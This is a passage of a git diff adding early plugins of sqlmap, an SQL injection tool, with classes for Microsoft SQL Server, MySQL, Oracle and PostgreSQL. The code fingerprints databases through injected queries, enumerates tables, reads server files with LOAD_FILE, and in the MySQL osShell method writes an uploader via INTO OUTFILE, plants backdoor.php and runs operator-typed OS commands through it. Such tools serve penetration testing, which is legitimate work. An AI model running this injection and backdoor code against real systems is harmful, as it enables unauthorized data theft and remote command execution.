+ raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
+
+ lastIndex = firstIndex + index + 1
+ old = expression[firstIndex:lastIndex]
+ oldUpper = old.upper()
+ oldUpper = oldUpper.replace("CHAR(", "").replace(")", "")
+ oldUpper = oldUpper.split("+")
+
+ escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
+ expression = expression.replace(old, escaped)
+
+ return expression
+
+
+ def getFingerprint(self):
+ actVer = formatFingerprint()
+
+ if not conf.extensiveFp:
+ return actVer
+
+ blank = " " * 16
+ value = "active fingerprint: %s" % actVer
+
+ if self.banner:
+ release, version, servicepack = bannerParser(self.banner, paths.MSSQL_XML)
+
+ if release and version and servicepack:
+ banVer = "Microsoft SQL Server %s " % release
+ banVer += "Service Pack %s " % servicepack
+ banVer += "version %s" % version
+
+ value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+ #passiveFuzzing()
+ htmlParsed = getHtmlErrorFp()
+
+ if htmlParsed:
+ value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
+
+ return value
+
+
+ def checkDbms(self):
+ if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
+ setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
+
+ if not conf.extensiveFp:
+ return True
+
+ logMsg = "testing Microsoft SQL Server"
+ logger.info(logMsg)
+
+ randInt = str(randomInt(1))
+ query = "LTRIM(STR(LEN(%s)))" % randInt
+
+ if inject.getValue(query) == "1":
+ query = "SELECT SUBSTRING((@@VERSION), 25, 1)"
+ version = inject.getValue(query)
+
+ if version == "8":
+ kb.dbmsVersion = ["2008"]
+ elif version == "5":
+ kb.dbmsVersion = ["2005"]
+ elif version == "0":
+ kb.dbmsVersion = ["2000"]
+
+ if kb.dbmsVersion:
+ setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
+ else:
+ setDbms("Microsoft SQL Server")
+
+ if not conf.extensiveFp:
+ return True
+
+ if conf.getBanner:
+ self.banner = inject.getValue("@@VERSION")
+
+ return True
+ else:
+ warnMsg = "the back-end DMBS is not Microsoft SQL Server"
+ logger.warn(warnMsg)
+
+ return False
+
+
+ def getPrivileges(self):
+ warnMsg = "this plugin can not fetch database users privileges"
+ logger.warn(warnMsg)
+
+ return {}
+
+
+ def getTables(self):
+ logMsg = "fetching tables"
+ if conf.db:
+ logMsg += " for database '%s'" % conf.db
+ logger.info(logMsg)
+
+ rootQuery = queries[kb.dbms].tables
+
+ if not conf.db:
+ if not len(self.cachedDbs):
+ dbs = self.getDbs()
+ else:
+ dbs = self.cachedDbs
+ else:
+ if "," in conf.db:
+ dbs = conf.db.split(",")
+ else:
+ dbs = [conf.db]
+
+ if conf.unionUse:
+ for db in dbs:
+ if conf.excludeSysDbs and db in self.excludeDbsList:
+ logMsg = "skipping system database '%s'" % db
+ logger.info(logMsg)
+
+ continue
+
+ query = rootQuery["inband"]["query"] % db
+ value = inject.getValue(query, blind=False)
+
+ if value:
+ self.cachedTables[db] = value
+
+ if not self.cachedTables:
+ for db in dbs:
+ if conf.excludeSysDbs and db in self.excludeDbsList:
+ logMsg = "skipping system database '%s'" % db
+ logger.info(logMsg)
+
+ continue
+
+ logMsg = "fetching number of tables for "
+ logMsg += "database '%s'" % db
+ logger.info(logMsg)
+
+ query = rootQuery["blind"]["count"] % db
+ count = inject.getValue(query, inband=False)
+
+ if not len(count) or count == "0":
+ warnMsg = "unable to retrieve the number of "
+ warnMsg += "tables for database '%s'" % db
+ logger.warn(warnMsg)
+ continue
+
+ tables = []
+
+ for index in range(int(count)):
+ query = rootQuery["blind"]["query"] % (db, index, db)
+ table = inject.getValue(query, inband=False)
+ tables.append(table)
+
+ if tables:
+ self.cachedTables[db] = tables
+ else:
+ warnMsg = "unable to retrieve the tables "
+ warnMsg += "for database '%s'" % db
+ logger.warn(warnMsg)
+
+ if not self.cachedTables:
+ errMsg = "unable to retrieve the tables for any database"
+ raise sqlmapNoneDataException, errMsg
+
+ return self.cachedTables
diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py
new file mode 100644
index 000000000..093b71426
--- /dev/null
+++ b/plugins/dbms/mysql.py
@@ -0,0 +1,471 @@
+#!/usr/bin/env python
+
+"""
+$Id: mysql.py 368 2008-09-30 00:09:59Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from lib.core.agent import agent
+from lib.core.common import fileToStr
+from lib.core.common import formatFingerprint
+from lib.core.common import getDirectories
+from lib.core.common import getHtmlErrorFp
+from lib.core.common import randomInt
+from lib.core.common import readInput
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.data import paths
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.session import setDbms
+from lib.core.settings import MYSQL_ALIASES
+from lib.core.shell import autoCompletion
+from lib.core.unescaper import unescaper
+from lib.request import inject
+from lib.request.connect import Connect as Request
+#from lib.utils.fuzzer import passiveFuzzing
+
+from plugins.generic.enumeration import Enumeration
+from plugins.generic.filesystem import Filesystem
+from plugins.generic.fingerprint import Fingerprint
+from plugins.generic.takeover import Takeover
+
+
+class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
+ """
+ This class defines MySQL methods
+ """
+
+ def __init__(self):
+ self.has_information_schema = False
+ Enumeration.__init__(self, "MySQL")
+
+ unescaper.setUnescape(MySQLMap.unescape)
+
+
+ @staticmethod
+ def unescape(expression):
+ while True:
+ index = expression.find("'")
+ if index == -1:
+ break
+
+ firstIndex = index + 1
+ index = expression[firstIndex:].find("'")
+
+ if index == -1:
+ raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
+
+ lastIndex = firstIndex + index
+ old = "'%s'" % expression[firstIndex:lastIndex]
+ unescaped = ""
+
+ for i in range(firstIndex, lastIndex):
+ unescaped += "%d" % (ord(expression[i]))
+ if i < lastIndex - 1:
+ unescaped += ","
+
+ expression = expression.replace(old, "CHAR(%s)" % unescaped)
+
+ return expression
+
+
+ @staticmethod
+ def escape(expression):
+ while True:
+ index = expression.find("CHAR(")
+ if index == -1:
+ break
+
+ firstIndex = index
+ index = expression[firstIndex:].find(")")
+
+ if index == -1:
+ raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
+
+ lastIndex = firstIndex + index + 1
+ old = expression[firstIndex:lastIndex]
+ oldUpper = old.upper()
+ oldUpper = oldUpper.lstrip("CHAR(").rstrip(")")
+ oldUpper = oldUpper.split(",")
+
+ escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
+ expression = expression.replace(old, escaped)
+
+ return expression
+
+
+ def __commentCheck(self):
+ logMsg = "executing MySQL comment injection fingerprint"
+ logger.info(logMsg)
+
+ query = agent.prefixQuery("/* NoValue */")
+ query = agent.postfixQuery(query)
+ payload = agent.payload(newValue=query)
+ result = Request.queryPage(payload)
+
+ if result != kb.defaultResult:
+ warnMsg = "unable to perform MySQL comment injection"
+ logger.warn(warnMsg)
+
+ return None
+
+ # MySQL valid versions updated at 07/2008
+ versions = (
+ (32200, 32233), # MySQL 3.22
+ (32300, 32354), # MySQL 3.23
+ (40000, 40024), # MySQL 4.0
+ (40100, 40122), # MySQL 4.1
+ (50000, 50067), # MySQL 5.0
+ (50100, 50126), # MySQL 5.1
+ (60000, 60006), # MySQL 6.0
+ )
+
+ for element in versions:
+ prevVer = None
+
+ for version in range(element[0], element[1] + 1):
+ randInt = randomInt()
+ version = str(version)
+ query = agent.prefixQuery("/*!%s AND %d=%d*/" % (version, randInt, randInt + 1))
+ query = agent.postfixQuery(query)
+ payload = agent.payload(newValue=query)
+ result = Request.queryPage(payload)
+
+ if result == kb.defaultResult:
+ if version[0] == "3":
+ midVer = prevVer[1:3]
+ else:
+ midVer = prevVer[2]
+
+ trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:])
+
+ return trueVer
+
+ prevVer = version
+
+ return None
+
+
+ def getFingerprint(self):
+ actVer = formatFingerprint()
+
+ if not conf.extensiveFp:
+ return actVer
+
+ blank = " " * 16
+ value = "active fingerprint: %s" % actVer
+ comVer = self.__commentCheck()
+
+ if comVer:
+ comVer = formatFingerprint([comVer])
+ value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
+
+ if self.banner:
+ banVer = re.search("^([\d\.]+)", self.banner)
+ banVer = banVer.groups()[0]
+ if re.search("-log$", self.banner):
+ banVer += ", logging enabled"
+ banVer = formatFingerprint([banVer])
+
+ value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+ #passiveFuzzing()
+ htmlParsed = getHtmlErrorFp()
+
+ if htmlParsed:
+ value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
+
+ return value
+
+
+ def checkDbms(self):
+ if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
+ setDbms("MySQL %s" % kb.dbmsVersion[0])
+
+ if int(kb.dbmsVersion[0]) >= 5:
+ self.has_information_schema = True
+
+ if not conf.extensiveFp:
+ return True
+
+ logMsg = "testing MySQL"
+ logger.info(logMsg)
+
+ randInt = str(randomInt(1))
+ query = "CONCAT('%s', '%s')" % (randInt, randInt)
+
+ if inject.getValue(query) == (randInt * 2):
+ logMsg = "confirming MySQL"
+ logger.info(logMsg)
+
+ query = "LENGTH('%s')" % randInt
+
+ if not inject.getValue(query) == "1":
+ warnMsg = "the back-end DMBS is not MySQL"
+ logger.warn(warnMsg)
+
+ return False
+
+ query = "SELECT %s " % randInt
+ query += "FROM information_schema.TABLES "
+ query += "LIMIT 0, 1"
+
+ if inject.getValue(query) == randInt:
+ setDbms("MySQL 5")
+ self.has_information_schema = True
+
+ if not conf.extensiveFp:
+ kb.dbmsVersion = [">= 5.0.0"]
+ return True
+
+ self.currentDb = inject.getValue("DATABASE()")
+ if self.currentDb == inject.getValue("SCHEMA()"):
+ kb.dbmsVersion = [">= 5.0.2", "< 5.1"]
+
+ query = "SELECT %s " % randInt
+ query += "FROM information_schema.PARTITIONS "
+ query += "LIMIT 0, 1"
+
+ if inject.getValue(query) == randInt:
+ kb.dbmsVersion = [">= 5.1"]
+ else:
+ kb.dbmsVersion = ["= 5.0.0 or 5.0.1"]
+ else:
+ setDbms("MySQL 4")
+ kb.dbmsVersion = ["< 5.0.0"]
+
+ if not conf.extensiveFp:
+ return True
+
+ coercibility = inject.getValue("COERCIBILITY(USER())")
+ if coercibility == "3":
+ kb.dbmsVersion = [">= 4.1.11", "< 5.0.0"]
+ elif coercibility == "2":
+ kb.dbmsVersion = [">= 4.1.1", "< 4.1.11"]
+ elif inject.getValue("CURRENT_USER()"):
+ kb.dbmsVersion = [">= 4.0.6", "< 4.1.1"]
+
+ if inject.getValue("CHARSET(CURRENT_USER())") == "utf8":
+ kb.dbmsVersion = ["= 4.1.0"]
+ else:
+ kb.dbmsVersion = [">= 4.0.6", "< 4.1.0"]
+ elif inject.getValue("FOUND_ROWS()") == "0":
+ kb.dbmsVersion = [">= 4.0.0", "< 4.0.6"]
+ elif inject.getValue("CONNECTION_ID()"):
+ kb.dbmsVersion = [">= 3.23.14", "< 4.0.0"]
+ elif re.search("@[\w\.\-\_]+", inject.getValue("USER()")):
+ kb.dbmsVersion = [">= 3.22.11", "< 3.23.14"]
+ else:
+ kb.dbmsVersion = ["< 3.22.11"]
+
+ if conf.getBanner:
+ self.banner = inject.getValue("VERSION()")
+
+ return True
+ else:
+ warnMsg = "the back-end DMBS is not MySQL"
+ logger.warn(warnMsg)
+
+ return False
+
+
+ def readFile(self, rFile):
+ logMsg = "fetching file: '%s'" % rFile
+ logger.info(logMsg)
+
+ return inject.getValue("LOAD_FILE('%s')" % rFile)
+
+
+ def osShell(self):
+ """
+ This method is used to write a PHP agent (cmd.php) on a writable
+ remote directory within the web server document root.
+ Such agent is written using the INTO OUTFILE MySQL DBMS
+ functionality
+
+ @todo: * Add a web application crawling functionality to detect
+ all (at least most) web server directories and merge with
+ Google results if the target host is a publicly available
+ hostname or IP address;
+ * Extend to all DBMS using their functionalities (UDF, stored
+ procedures, etc) to write files on the system or directly
+ execute commands on the system without passing by the agent;
+ * Automatically detect the web server available interpreters
+ parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
+ response headers;
+ * Extend the agent to other interpreters rather than only PHP:
+ ASP, JSP, CGI (Python, Perl, Ruby, Bash).
+ """
+
+ logMsg = "retrieving web application directories"
+ logger.info(logMsg)
+
+ directories = getDirectories()
+
+ if directories:
+ logMsg = "retrieved web server directories "
+ logMsg += "'%s'" % ", ".join(d for d in directories)
+ logger.info(logMsg)
+
+ message = "in addition you can provide a list of directories "
+ message += "absolute path comma separated that you want sqlmap "
+ message += "to try to upload the agent [/var/www/test]: "
+ inputDirs = readInput(message, default="/var/www/test")
+ else:
+ message = "please provide the web server document root [/var/www]: "
+ inputDocRoot = readInput(message, default="/var/www")
+
+ if inputDocRoot:
+ kb.docRoot = inputDocRoot
+ else:
+ kb.docRoot = "/var/www"
+
+ message = "please provide a list of directories absolute path "
+ message += "comma separated that you want sqlmap to try to "
+ message += "upload the agent [/var/www/test]: "
+ inputDirs = readInput(message, default="/var/www/test")
+
+ if inputDirs:
+ inputDirs = inputDirs.replace(", ", ",")
+ inputDirs = inputDirs.split(",")
+
+ for inputDir in inputDirs:
+ directories.add(inputDir)
+ else:
+ directories.add("/var/www/test")
+
+ logMsg = "trying to upload the uploader agent"
+ logger.info(logMsg)
+
+ directories = list(directories)
+ directories.sort()
+ uploaded = False
+
+ backdoorName = "backdoor.php"
+ backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
+ uploaderName = "uploader.php"
+ uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
+
+ for directory in directories:
+ if uploaded:
+ break
+
+ # Upload the uploader agent
+ uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
+ query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
+ query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
+
+ query = agent.prefixQuery(query)
+ query = agent.postfixQuery(query)
+
+ payload = agent.payload(newValue=query)
+ page = Request.queryPage(payload)
+
+ if kb.docRoot:
+ requestDir = directory.replace(kb.docRoot, "")
+ else:
+ requestDir = directory
+
+ baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
+ uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
+ page = Request.getPage(url=uploaderUrl, direct=True)
+
+ if "sqlmap backdoor uploader" not in page:
+ warnMsg = "unable to upload the uploader "
+ warnMsg += "agent on '%s'" % directory
+ logger.warn(warnMsg)
+
+ continue
+
+ logMsg = "the uploader agent has been successfully uploaded "
+ logMsg += "on '%s'" % directory
+ logger.info(logMsg)
+
+ # Upload the backdoor through the uploader agent
+ multipartParams = {
+ "upload": "1",
+ "file": open(backdoorPath, "r"),
+ "uploadDir": directory,
+ }
+ uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
+ page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
+
+ if "Backdoor uploaded" not in page:
+ warnMsg = "unable to upload the backdoor through "
+ warnMsg += "the uploader agent on '%s'" % directory
+ logger.warn(warnMsg)
+
+ continue
+
+ uploaded = True
+
+ backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
+ logMsg = "the backdoor has been successfully uploaded on "
+ logMsg += "'%s', go with your browser to " % directory
+ logMsg += "'%s' and enjoy it!" % backdoorUrl
+ logger.info(logMsg)
+
+ message = "do you want to use the uploaded backdoor as a "
+ message += "shell to execute commands right now? [Y/n] "
+ shell = readInput(message, default="Y")
+
+ if shell in ("n", "N"):
+ continue
+
+ logMsg = "calling OS shell. To quit type "
+ logMsg += "'x' or 'q' and press ENTER"
+ logger.info(logMsg)
+
+ autoCompletion(osShell=True)
+
+ while True:
+ command = None
+
+ try:
+ command = raw_input("$ ")
+ except KeyboardInterrupt:
+ print
+ errMsg = "user aborted"
+ logger.error(errMsg)
+ except EOFError:
+ print
+ errMsg = "exit"
+ logger.error(errMsg)
+ break
+
+ if not command:
+ continue
+
+ if command.lower() in ( "x", "q", "exit", "quit" ):
+ break
+
+ cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
+ page = Request.getPage(url=cmdUrl, direct=True)
+ output = re.search("(.+?)
", page, re.I | re.S)
+
+ if output:
+ print output.group(1)
+ else:
+ print "No output"
diff --git a/plugins/dbms/oracle.py b/plugins/dbms/oracle.py
new file mode 100644
index 000000000..a1252aea3
--- /dev/null
+++ b/plugins/dbms/oracle.py
@@ -0,0 +1,196 @@
+#!/usr/bin/env python
+
+"""
+$Id: oracle.py 286 2008-07-25 23:09:48Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from lib.core.common import formatFingerprint
+from lib.core.common import getHtmlErrorFp
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.session import setDbms
+from lib.core.settings import ORACLE_ALIASES
+from lib.core.settings import ORACLE_SYSTEM_DBS
+from lib.core.unescaper import unescaper
+from lib.request import inject
+#from lib.utils.fuzzer import passiveFuzzing
+
+from plugins.generic.enumeration import Enumeration
+from plugins.generic.filesystem import Filesystem
+from plugins.generic.fingerprint import Fingerprint
+from plugins.generic.takeover import Takeover
+
+
+class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
+ """
+ This class defines Oracle methods
+ """
+
+
+ def __init__(self):
+ Enumeration.__init__(self, "Oracle")
+
+ unescaper.setUnescape(OracleMap.unescape)
+
+
+ @staticmethod
+ def unescape(expression):
+ while True:
+ index = expression.find("'")
+ if index == -1:
+ break
+
+ firstIndex = index + 1
+ index = expression[firstIndex:].find("'")
+
+ if index == -1:
+ raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
+
+ lastIndex = firstIndex + index
+ old = "'%s'" % expression[firstIndex:lastIndex]
+ #unescaped = ""
+ unescaped = "("
+
+ for i in range(firstIndex, lastIndex):
+ unescaped += "CHR(%d)" % (ord(expression[i]))
+ if i < lastIndex - 1:
+ unescaped += "||"
+
+ unescaped += ")"
+ expression = expression.replace(old, unescaped)
+
+ return expression
+
+
+ @staticmethod
+ def escape(expression):
+ while True:
+ index = expression.find("CHR(")
+ if index == -1:
+ break
+
+ firstIndex = index
+ index = expression[firstIndex:].find("))")
+
+ if index == -1:
+ raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
+
+ lastIndex = firstIndex + index + 1
+ old = expression[firstIndex:lastIndex]
+ oldUpper = old.upper()
+ oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
+ oldUpper = oldUpper.split("||")
+
+ escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
+ expression = expression.replace(old, escaped)
+
+ return expression
+
+
+ def getFingerprint(self):
+ if not conf.extensiveFp:
+ return "Oracle"
+
+ actVer = formatFingerprint()
+
+ blank = " " * 16
+ value = "active fingerprint: %s" % actVer
+
+ if self.banner:
+ banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner)
+
+ if banVer:
+ banVer = banVer.groups()[0]
+ banVer = formatFingerprint([banVer])
+
+ value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+ #passiveFuzzing()
+ htmlParsed = getHtmlErrorFp()
+
+ if htmlParsed:
+ value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
+
+ return value
+
+
+ def checkDbms(self):
+ if conf.dbms in ORACLE_ALIASES:
+ setDbms("Oracle")
+
+ if not conf.extensiveFp:
+ return True
+
+ logMsg = "testing Oracle"
+ logger.info(logMsg)
+
+ query = "LENGTH(SYSDATE)"
+ sysdate = inject.getValue(query)
+
+ if sysdate and int(sysdate) > 0:
+ logMsg = "confirming Oracle"
+ logger.info(logMsg)
+
+ query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
+ version = inject.getValue(query)
+
+ if not version:
+ warnMsg = "the back-end DMBS is not Oracle"
+ logger.warn(warnMsg)
+
+ return False
+
+ setDbms("Oracle")
+
+ if not conf.extensiveFp:
+ return True
+
+ if re.search("^11\.", version):
+ kb.dbmsVersion = ["11i"]
+ elif re.search("^10\.", version):
+ kb.dbmsVersion = ["10g"]
+ elif re.search("^9\.", version):
+ kb.dbmsVersion = ["9i"]
+ elif re.search("^8\.", version):
+ kb.dbmsVersion = ["8i"]
+
+ if conf.getBanner:
+ self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1")
+
+ return True
+ else:
+ warnMsg = "the back-end DMBS is not Oracle"
+ logger.warn(warnMsg)
+
+ return False
+
+
+ def getDbs(self):
+ warnMsg = "this plugin can not enumerate databases"
+ logger.warn(warnMsg)
+
+ return []
diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py
new file mode 100644
index 000000000..631ec3c61
--- /dev/null
+++ b/plugins/dbms/postgresql.py
@@ -0,0 +1,202 @@
+#!/usr/bin/env python
+
+"""
+$Id: postgresql.py 286 2008-07-25 23:09:48Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+
+
+import re
+
+from lib.core.common import formatFingerprint
+from lib.core.common import getHtmlErrorFp
+from lib.core.common import randomInt
+from lib.core.data import conf
+from lib.core.data import kb
+from lib.core.data import logger
+from lib.core.exception import sqlmapSyntaxException
+from lib.core.session import setDbms
+from lib.core.settings import PGSQL_ALIASES
+from lib.core.unescaper import unescaper
+from lib.request import inject
+#from lib.utils.fuzzer import passiveFuzzing
+
+from plugins.generic.enumeration import Enumeration
+from plugins.generic.filesystem import Filesystem
+from plugins.generic.fingerprint import Fingerprint
+from plugins.generic.takeover import Takeover
+
+
+class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
+ """
+ This class defines PostgreSQL methods
+ """
+
+ def __init__(self):
+ Enumeration.__init__(self, "PostgreSQL")
+
+ unescaper.setUnescape(PostgreSQLMap.unescape)
+
+
+ @staticmethod
+ def unescape(expression):
+ while True:
+ index = expression.find("'")
+ if index == -1:
+ break
+
+ firstIndex = index + 1
+ index = expression[firstIndex:].find("'")
+
+ if index == -1:
+ raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression
+
+ lastIndex = firstIndex + index
+ old = "'%s'" % expression[firstIndex:lastIndex]
+ unescaped = "("
+
+ for i in range(firstIndex, lastIndex):
+ unescaped += "CHR(%d)" % (ord(expression[i]))
+ if i < lastIndex - 1:
+ unescaped += "||"
+
+ unescaped += ")"
+ expression = expression.replace(old, unescaped)
+
+ return expression
+
+
+ @staticmethod
+ def escape(expression):
+ while True:
+ index = expression.find("CHR(")
+ if index == -1:
+ break
+
+ firstIndex = index
+ index = expression[firstIndex:].find("))")
+
+ if index == -1:
+ raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression
+
+ lastIndex = firstIndex + index + 1
+ old = expression[firstIndex:lastIndex]
+ oldUpper = old.upper()
+ oldUpper = oldUpper.replace("CHR(", "").replace(")", "")
+ oldUpper = oldUpper.split("||")
+
+ escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper])
+ expression = expression.replace(old, escaped)
+
+ return expression
+
+
+ def getFingerprint(self):
+ if not conf.extensiveFp:
+ return "PostgreSQL"
+
+ actVer = formatFingerprint()
+
+ blank = " " * 16
+ value = "active fingerprint: %s" % actVer
+
+ if self.banner:
+ banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner)
+ banVer = banVer.groups()[0]
+ banVer = formatFingerprint([banVer])
+
+ value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
+
+ #passiveFuzzing()
+ htmlParsed = getHtmlErrorFp()
+
+ if htmlParsed:
+ value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
+
+ return value
+
+
+ def checkDbms(self):
+ if conf.dbms in PGSQL_ALIASES:
+ setDbms("PostgreSQL")
+
+ if not conf.extensiveFp:
+ return True
+
+ logMsg = "testing PostgreSQL"
+ logger.info(logMsg)
+
+ randInt = str(randomInt(1))
+ query = "COALESCE(%s, NULL)" % randInt
+
+ if inject.getValue(query) == randInt:
+ logMsg = "confirming PostgreSQL"
+ logger.info(logMsg)
+
+ query = "LENGTH('%s')" % randInt
+
+ if not inject.getValue(query) == "1":
+ warnMsg = "the back-end DMBS is not PostgreSQL"
+ logger.warn(warnMsg)
+
+ return False
+
+ setDbms("PostgreSQL")
+
+ if not conf.extensiveFp:
+ return True
+
+ if inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)") == "2":
+ kb.dbmsVersion = [">= 8.2.0"]
+ elif inject.getValue("GREATEST(5, 9, 1)") == "9":
+ kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"]
+ elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)") == "3":
+ kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"]
+ elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)"):
+ kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"]
+ elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)") == "p":
+ kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"]
+ elif inject.getValue("BIT_LENGTH(1)") == "8":
+ kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"]
+ elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)") == "a":
+ kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"]
+ elif inject.getValue("POW(2, 3)") == "8":
+ kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"]
+ elif inject.getValue("MAX('a')") == "a":
+ kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"]
+ elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)")):
+ kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"]
+ elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)") == "2":
+ kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"]
+ elif inject.getValue("SUBSTRING('sqlmap', 1, 1)") == "s":
+ kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"]
+ else:
+ kb.dbmsVersion = ["< 6.2.0"]
+
+ if conf.getBanner:
+ self.banner = inject.getValue("VERSION()")
+
+ return True
+ else:
+ warnMsg = "the back-end DMBS is not PostgreSQL"
+ logger.warn(warnMsg)
+
+ return False
diff --git a/plugins/generic/__init__.py b/plugins/generic/__init__.py
new file mode 100644
index 000000000..e8fee9d67
--- /dev/null
+++ b/plugins/generic/__init__.py
@@ -0,0 +1,25 @@
+#!/usr/bin/env python
+
+"""
+$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation version 2 of the License.
+
+sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
+WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+details.
+
+You should have received a copy of the GNU General Public License along
+with sqlmap; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
+"""
+
+pass
diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py
new file mode 100644
index 000000000..1e5effebe
--- /dev/null
+++ b/plugins/generic/enumeration.py
@@ -0,0 +1,1077 @@
+#!/usr/bin/env python
+
+"""
+$Id: enumeration.py 363 2008-09-21 23:56:32Z inquisb $
+
+This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
+
+Copyright (c) 2006-2008 Bernardo Damele A. G.
+ and Daniele Bellucci
+
+sqlmap is free software; you can redistribute it and/or modify it under
+the terms of the GNU General Public License as published by the Free
